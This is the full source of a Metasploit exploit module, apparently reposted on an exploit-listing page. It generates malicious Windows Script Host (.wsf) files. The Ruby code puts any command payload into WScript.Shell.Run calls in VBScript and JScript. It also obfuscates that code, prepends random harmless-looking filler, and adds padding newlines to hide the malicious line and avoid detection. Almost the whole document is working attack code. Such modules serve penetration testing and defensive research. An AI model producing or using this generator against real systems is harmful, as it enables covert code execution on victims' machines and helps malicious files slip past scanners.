Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-FILEFORMAT-WINDOWS_SCRIPT_HOST_WSF-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::JSObfu
  include Msf::Exploit::VBSObfuscate

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Malicious Windows Script Host Script File (.wsf)',
        'Description' => %q{
          This module creates a Windows Script Host (WSH) Windows Script File (.wsf).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'bcoles'
        ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
        ],
        'Arch' => [ARCH_CMD],
        'Platform' => 'win',
        'Payload' => {
          'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping
          'BadChars' => "\x00",
          'DisableNops' => true
        },
        'Targets' => [
          [
            'Microsoft Windows 98 or newer', {}
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '1998-06-25', # Windows 98 release date
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'DisablePayloadHandler' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [SCREEN_EFFECTS]
        }
      )
    )

    register_options([
      OptString.new('FILENAME', [true, 'The WSF file name.', 'msf.wsf']),
      OptEnum.new('SCRIPT_LANGUAGE', [true, 'The WSH script language to use.', 'all', %w[vbscript jscript all]]),
      OptBool.new('OBFUSCATE', [false, 'Enable VBScript/JScript obfuscation', true])
    ])

    register_advanced_options([
      OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the VBScript/JScript.', true]),
      OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious VBScript/JScript.', 100]),
    ])
  end

  # Build a series of benign VBScript noise blocks
  #
  # @param [Integer] block_count Number of blocks to generate
  #
  # @return [String] block_count blocks of inert VBScript
  def generate_vbscript_noise(block_count = 0)
    lines = []

    block_count.times do
      case rand(4)
      when 0 # Dummy variable declarations and assignments
        v1 = rand_text_alpha(6..16)
        v2 = rand_text_alpha(6..16)
        a = rand(0..100)
        b = rand(0..100)
        lines << "Dim #{v1}, #{v2}"
        lines << "#{v1} = #{a}"
        lines << "#{v2} = #{b}"
      when 1 # Dummy Function
        fname = rand_text_alpha(6..16)
        arg = rand_text_alpha(6..16)
        mult = rand(1..5)
        lines << "Function #{fname}(#{arg})"
        lines << "    #{fname} = #{arg} * #{mult}"
        lines << 'End Function'
      when 2 # Dummy Sub
        sname = rand_text_alpha(6..16)
        arg = rand_text_alpha(6..16)
        mult = rand(1..5)
        lines << "Sub #{sname}(#{arg})"
        lines << "    #{sname} = #{arg} * #{mult}"
        lines << 'End Sub'
      when 3 # Dummy For loop
        idx = rand_text_alpha(6..16)
        max = rand(1..5)
        lines << "Dim #{idx}"
        lines << "For #{idx} = 1 To #{max}"
        lines << "    #{idx} = #{idx} + 0"
        lines << 'Next'
      end
    end

    lines.join("\r\n")
  end

  def generate_jscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
    js = ''

    # TODO: This could be improved by generating more realistic looking
    # benign code with functions and flow control
    if prepend_benign_code
      rand(5..10).times do
        js << "var #{rand_text_alpha(6..16)}=\"#{rand_text_alphanumeric(6..16)}\";\r\n"
      end
    end

    js << "\r\n" * prepend_new_lines

    escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')

    # If the payload contains " & " we presume it is a command string.
    #
    # TODO: Change this once Metasploit is able to inform a module that
    #       the specified ARCH_CMD payload is a string of commands
    #       (not a single command).
    if escaped_payload.include?(' & ')
      cmd = "cmd.exe /c #{escaped_payload}"
    else
      cmd = escaped_payload
    end

    shell_var = rand_text_alpha(6..16)
    js_payload = "var #{shell_var} = new ActiveXObject(\"WScript.Shell\");"
    js_payload << "#{shell_var}.Run(\"#{cmd}\");"

    if obfuscate
      js_obfu = Rex::Exploitation::JSObfu.new(js_payload)
      obfuscated_payload = js_obfu.obfuscate(memory_sensitive: false).to_s
      # WSH JScript execution context does not support 'window' object
      obfuscated_payload = obfuscated_payload.gsub('window[', 'String[')
      js << obfuscated_payload
    else
      js << js_payload
    end

    js
  end

  def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
    vbs = ''
    vbs << generate_vbscript_noise(rand(8..10)) if prepend_benign_code
    vbs << "\r\n" * prepend_new_lines

    escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')

    # If the payload contains " & " we presume it is a command string.
    #
    # TODO: Change this once Metasploit is able to inform a module that
    #       the specified ARCH_CMD payload is a string of commands
    #       (not a single command).
    if escaped_payload.include?(' & ')
      cmd = "cmd.exe /c #{escaped_payload}"
    else
      cmd = escaped_payload
    end

    shell_obj = 'WScript.Shell'.chars.map { |c| (rand(2) == 0 ? c.downcase : c.upcase) }.join
    vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")"
    if obfuscate
      vbs << vbs_obfuscate(vbs_payload).to_s
    else
      vbs << vbs_payload
    end

    vbs
  end

  def generate_wsf(vbs: nil, js: nil)
    job_id = rand_text_alphanumeric(8..12)
    wsf_content = [
      "<script language=\"JScript\">\r\n#{js}\r\n</script>",
      "<script language=\"VBScript\">\r\n#{vbs}\r\n</script>"
    ].shuffle.join

    "<job id=\"#{job_id}\">#{wsf_content}</job>"
  end

  def exploit
    js = nil
    vbs = nil

    if ['all', 'vbscript'].include?(datastore['SCRIPT_LANGUAGE'].to_s.downcase)
      vbs = generate_vbscript(
        payload.encoded,
        prepend_benign_code: datastore['PrependBenignCode'],
        prepend_new_lines: datastore['PrependNewLines'],
        obfuscate: datastore['OBFUSCATE']
      )
    end

    if ['all', 'jscript'].include?(datastore['SCRIPT_LANGUAGE'].to_s.downcase)
      js = generate_jscript(
        payload.encoded,
        prepend_benign_code: datastore['PrependBenignCode'],
        prepend_new_lines: datastore['PrependNewLines'],
        obfuscate: datastore['OBFUSCATE']
      )
    end

    wsf = generate_wsf(
      js: js,
      vbs: vbs
    )

    file_create(wsf)
  end
end